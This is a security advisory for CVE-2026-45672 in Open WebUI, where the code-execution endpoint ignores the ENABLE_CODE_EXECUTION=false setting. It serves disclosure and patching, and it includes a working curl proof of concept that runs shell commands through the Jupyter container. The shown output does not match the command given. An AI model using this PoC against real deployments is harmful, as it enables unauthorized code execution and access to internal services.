GHSA-482j-2pq6-q5w4

Suggest an improvement
Source
https://github.com/advisories/GHSA-482j-2pq6-q5w4
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-482j-2pq6-q5w4/GHSA-482j-2pq6-q5w4.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-482j-2pq6-q5w4
Aliases
  • CVE-2026-45672
Published
2026-05-14T20:28:40Z
Modified
2026-05-16T00:09:25.795363Z
Severity
  • 8.8 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
Open WebUI: Jupyter code execution works despite `ENABLE_CODE_EXECUTION=false` — feature gate bypassed
Details

Summary

The /api/v1/utils/code/execute endpoint executes arbitrary Python code via Jupyter for any verified user, even when the admin has set ENABLE_CODE_EXECUTION=false. The feature gate is not enforced on the API endpoint — the configuration says "disabled" but code still executes.

Details

The admin configuration correctly shows ENABLE_CODE_EXECUTION: false. However, the code execution endpoint does not check this flag before forwarding Python code to the Jupyter server. Any authenticated user can execute arbitrary code in the Jupyter container.

PoC

Verified against Open WebUI v0.8.11 (latest) Docker on 2026-03-25.

Setup: Jupyter server connected, ENABLE_CODE_EXECUTION=false confirmed in admin config.

# Step 1: Verify code execution is disabled
curl -s http://target:8080/api/v1/configs/code_execution \
  -H "Authorization: Bearer $TOKEN"
# Returns: {"ENABLE_CODE_EXECUTION": false, ...}

# Step 2: Execute code anyway — gate bypassed
curl -s -X POST http://target:8080/api/v1/utils/code/execute \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"code":"import os; print(os.popen(\"id\").read())"}'

Verified output:

Config: {"ENABLE_CODE_EXECUTION":false,"CODE_EXECUTION_ENGINE":"jupyter",...}

execute_status=200
execute_body={"stdout":"OPEN-WEBUI-SSRF-SECRET","stderr":"","result":""}

The PoC read the internal secret service content via Jupyter — despite ENABLE_CODE_EXECUTION=false. The Jupyter container has network access to internal services, making this both a code execution bypass and an SSRF vector.

Impact

Any authenticated user can execute arbitrary Python code in the Jupyter container, even when the admin has explicitly disabled code execution:

  • Arbitrary code execution in the Jupyter container (read files, spawn processes)
  • Network access to all internal Docker services from the Jupyter container
  • Data exfiltration from internal services
  • The admin's security configuration (ENABLE_CODE_EXECUTION=false) is silently ineffective
  • Users who are told "code execution is disabled" have a false sense of security

Resolution

Fixed in commit 6d736d3c5, first released in v0.8.12. The /api/v1/utils/code/execute handler in backend/open_webui/routers/utils.py now checks request.app.state.config.ENABLE_CODE_EXECUTION before dispatching to the Jupyter engine and returns 403 with FEATURE_DISABLED('Code execution') when the admin has disabled the flag. The retrieval-side code path was gated in the same commit. Users on >= 0.8.12 are not affected.

Database specific 
{
    "github_reviewed": true,
    "severity": "HIGH",
    "nvd_published_at": "2026-05-15T21:16:38Z",
    "cwe_ids": [
        "CWE-863"
    ],
    "github_reviewed_at": "2026-05-14T20:28:40Z"
}
References

Affected packages

PyPI / open-webui

Package

Name
open-webui
View open source insights on deps.dev
Purl
pkg:pypi/open-webui

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
0.8.12

Affected versions

0.*
0.1.124
0.1.125
0.2.0
0.2.1
0.2.2
0.2.3
0.2.4
0.2.5
0.3.0
0.3.1
0.3.2
0.3.3
0.3.4
0.3.5
0.3.6
0.3.7
0.3.8
0.3.9
0.3.10
0.3.12
0.3.13
0.3.14
0.3.15
0.3.16
0.3.17.dev2
0.3.17.dev3
0.3.17.dev4
0.3.17.dev5
0.3.17
0.3.18
0.3.19
0.3.20
0.3.21
0.3.22
0.3.23
0.3.24
0.3.25
0.3.26
0.3.27.dev1
0.3.27.dev2
0.3.27.dev3
0.3.27
0.3.28
0.3.29
0.3.30.dev1
0.3.30.dev2
0.3.30
0.3.31.dev1
0.3.31
0.3.32
0.3.33.dev1
0.3.33
0.3.34
0.3.35
0.4.0.dev1
0.4.0.dev2
0.4.0
0.4.1
0.4.2
0.4.3
0.4.4
0.4.5
0.4.6.dev1
0.4.6
0.4.7
0.4.8
0.5.0.dev1
0.5.0.dev2
0.5.0
0.5.1
0.5.2
0.5.3.dev1
0.5.3
0.5.4
0.5.5
0.5.6
0.5.7
0.5.8
0.5.9
0.5.10
0.5.11
0.5.12
0.5.13
0.5.14
0.5.15
0.5.16
0.5.17
0.5.18
0.5.19
0.5.20
0.6.0
0.6.1
0.6.2
0.6.3
0.6.4
0.6.5
0.6.6.dev1
0.6.6
0.6.7
0.6.8
0.6.9
0.6.10
0.6.11
0.6.12
0.6.13
0.6.14
0.6.15
0.6.16
0.6.18
0.6.19
0.6.20
0.6.21
0.6.22
0.6.23
0.6.24
0.6.25
0.6.26.dev1
0.6.26
0.6.27
0.6.28
0.6.29
0.6.30
0.6.31
0.6.32
0.6.33
0.6.34
0.6.35
0.6.36
0.6.37
0.6.38
0.6.39
0.6.40
0.6.41
0.6.42
0.6.43
0.7.0
0.7.1
0.7.2
0.8.0
0.8.1
0.8.2
0.8.3
0.8.4
0.8.5
0.8.6
0.8.7
0.8.8
0.8.9
0.8.10
0.8.11

Database specific

last_known_affected_version_range 
"<= 0.8.11"
source 
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-482j-2pq6-q5w4/GHSA-482j-2pq6-q5w4.json"